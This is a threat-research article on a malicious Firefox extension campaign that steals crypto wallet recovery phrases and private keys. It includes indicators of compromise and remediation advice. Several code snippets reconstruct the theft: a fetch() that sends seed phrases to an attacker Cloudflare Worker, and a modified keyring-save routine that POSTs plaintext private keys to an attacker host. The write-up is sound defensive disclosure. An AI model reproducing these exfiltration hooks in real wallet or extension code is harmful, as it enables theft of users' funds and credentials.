Offside Wallet Theft Factory: 40 Malicious Firefox Extensions Stealing Wallet Seeds via Supabase, Cloudflare Workers, and Silent Update Conversion

On August 24, 2026, Socket Threat Research published the findings of a months-long investigation into a coordinated Firefox browser extension campaign it named the Offside Wallet Theft Factory. The campaign involved 77 linked Firefox add-ons, of which 40 were confirmed to steal cryptocurrency wallet secrets — recovery phrases, private keys, browser-stored credentials, and clipboard contents — while 37 additional extensions presented themselves as sports-score utilities, connected to the malicious 40 through shared code, publishing infrastructure, and operator history. Mozilla signing records for the cluster span March 9 to August 3, 2026, placing the campaign's active deployment period at more than five months before public disclosure.

The campaign impersonated legitimate and well-known Web3 products including OKX, Rabby Wallet, and TronLink, presenting counterfeit extensions that either displayed fake wallet interfaces soliciting recovery phrases or embedded malicious code inside modified copies of legitimate wallet extension source. Nine of the 37 sports-score shells were subsequently updated under the same Firefox extension ID to convert them into active wallet stealers — a deliberate review-bypass technique that passes an initially benign extension through Mozilla's add-on review process and then replaces its functionality silently post-installation.

The stolen data was exfiltrated through a multi-layer infrastructure designed to blend into normal network traffic: Supabase projects served as remote control switches, allowing operators to arm or disarm extensions without republishing them; Cloudflare Workers subdomains acted as exfiltration relays, using their inherently high domain reputation to evade content filters; and a hardcoded C2 server at 77.91.100.175 handled credential and clipboard theft for a subset of variants. No attribution to a known criminal group has been made.

Socket identified four distinct technical clusters within the 40 confirmed malicious extensions, each using a different theft mechanism. The clusters share infrastructure, publishing patterns, and campaign tokens, but differ in how they extract wallet secrets — a design that makes detection harder because no single signature catches all variants.

Cluster 1: Supabase remote-control loaders (7 extensions)

These extensions impersonate legitimate wallets with minimal installed code. On launch, they query a Supabase project for a phishing URL, then inject that URL into the extension's interface. The remote content — served from portal-web3-extension-welcome[.]pages[.]dev — presents a convincing wallet creation or import form that requests the user's recovery phrase or private key.

The design is operationally clever. The installed extension itself contains no theft payload — only a Supabase query. This means static analysis of the installed add-on finds nothing overtly malicious. The operators can switch the Supabase-hosted URL between benign and malicious content at will, without republishing the extension or triggering a re-review. During review, the Supabase endpoint serves benign content; post-installation, it serves the phishing interface. The only browser permissions required are storage and tabs — minimal enough to avoid permission-based risk scoring.

// Extension background script — minimal installed code
async function getPhishingUrl() {
    const { data } = await supabaseClient
        .from('config')
        .select('phishing_url')
        .single();
    return data.phishing_url;
    // During review: returns benign URL
    // Post-installation: operators switch to phishing URL
    // → portal-web3-extension-welcome[.]pages[.]dev/home
}

// Phishing page then presents:
// "Import wallet" form requesting 12/24-word recovery phrase
// All entered phrases POST directly to attacker C2.

Cluster 2: Cloudflare Worker exfiltration (15 extensions)

These extensions embed malicious code directly into modified copies of the legitimate Rabby Wallet extension source. When a user generates or imports an account, the implant intercepts the recovery phrase during the import workflow and exfiltrates it as a GET parameter to an attacker-controlled Cloudflare Workers endpoint:

// Injected into account import handler:
function exfiltratePhrase(recoveryPhrase) {
    // Campaign token EQOx7EIPZSNi appears across multiple endpoints
    const url = `https://[worker].workers.dev/collect` +
                `?a=login&s=EQOx7EIPZSNi&k=login&w=${recoveryPhrase}`;

    fetch(url, { method: 'GET' });
    // Cloudflare Workers subdomain: high reputation, bypasses most filters.
    // Fallback domains: browser-app.com, browsify.net, e-wl.com
}

// Called transparently alongside the legitimate import flow.
// The wallet appears to function normally — the user has no indication
// that their phrase was transmitted.

Cluster 3: Keyring serialization interception (13 extensions)

The most technically invasive cluster modifies Rabby's internal persistAllKeyrings() function — the routine responsible for saving wallet state to browser storage. The modification intercepts serialized keyring data at the moment it is ready to be written to disk, before local encryption is applied. The pre-encryption keyring — containing private keys in plaintext — is transmitted over plain HTTP to a hardcoded endpoint:

// Original Rabby: encrypt keyrings, then write to storage.
// Modified version: exfiltrate first, then proceed normally.

async function persistAllKeyrings() {
    const serialized = await this.serializeKeyrings(); // plain-text private keys

    // Malicious addition: POST before encryption
    fetch('http://id[.]gemachriverdale[.]org:9000/hook/ptvve', {
        method: 'POST',
        body: JSON.stringify({ ping: serialized }),
        // Plain HTTP on port 9000 — no TLS, no encryption.
        // Captures all private keys currently held in the wallet.
    });

    // Continues with normal encrypted storage — user sees no anomaly.
    const encryptedVault = await this.encryptor.encrypt(this.password, serialized);
    await storage.set({ vault: encryptedVault });
}

Cluster 4: Credential and clipboard theft (5 extensions)

Five variants focus on broader credential harvesting rather than wallet-specific secrets. They capture credentials stored in browser.storage.local, monitor clipboard contents for key-like strings (private keys, seed phrases, exchange API keys), and exfiltrate captures in chunked transfers to a single C2 server at 77.91.100.175. These variants are less targeted but cast a wider net, collecting any high-value credential that passes through the browser.

The sports-app conversion technique

Nine of the 37 sports-score shell extensions were later updated — under their existing, previously reviewed Firefox extension ID — to become active wallet stealers. Two documented examples:

• deep-tip-sharp@browsify.co: published as “Quick Shield” (a basketball score app using legitimate API-Sports endpoints), then updated to a keyring-intercepting wallet stealer.
• bolt-save-vault@devplugs.co: published as “Lite Swatch” (NBA scores), then updated to a wallet compromise tool.

The technique exploits the gap between initial extension review and subsequent update review. Mozilla's add-on review process applies more scrutiny to new submissions than to updates from extensions with an established, benign history. By building an initial review record as a functional sports utility, the campaign operators established publishing credibility before converting the extension to malware — without requiring a fresh review that might reject a wallet-targeting submission outright.

If you installed any Firefox extension impersonating a crypto wallet, or any extension with display names or publisher domains matching those in Socket's report (browsify.co, devplugs.co, e-wl.com,browser-app.com), take the following steps in order. Speed matters: the longer compromised private keys remain in use, the greater the risk of loss.

• Do not use the compromised wallet for any further transactions. Any interaction with the wallet — including attempts to move funds — may be front-run by the attacker if they are monitoring the address.
• Generate a new wallet on a clean, unaffected device. Use a device that has never had the malicious extension installed. Write down the new seed phrase on paper; do not store it digitally on the affected device.
• Move all funds to the new wallet as a single operation. Transfer all assets from the compromised addresses to the new wallet address. Consider doing this during off-peak hours to minimise gas competition if acting urgently.
• Remove the malicious extension. Open Firefox's Add-ons Manager (about:addons), identify and remove the extension. Consider a full browser profile reset if the extension had broad storage permissions.
• Rotate all credentials stored in the affected browser. Cluster 4 variants harvest browser.storage.local and clipboard data broadly. Change passwords for any exchange, email, or service whose credentials were stored in or typed into the affected Firefox profile.
• Report the extension to Mozilla. Use the “Report this add-on” function on the extension's Mozilla Add-ons page to accelerate removal for other users. Cross-reference Socket's published extension IDs and report each confirmed malicious one independently.

For organizations running security programs, the four SHA-256 hashes published by Security Arsenal (08b7b064…, 4d0912d5…, 26427220…, 252119fc…) and the C2 domains (browser-app.com, browsify.net, gemachriverdale.org, e-wl.com, and IP 77.91.100.175) should be added to endpoint detection and network egress block lists immediately.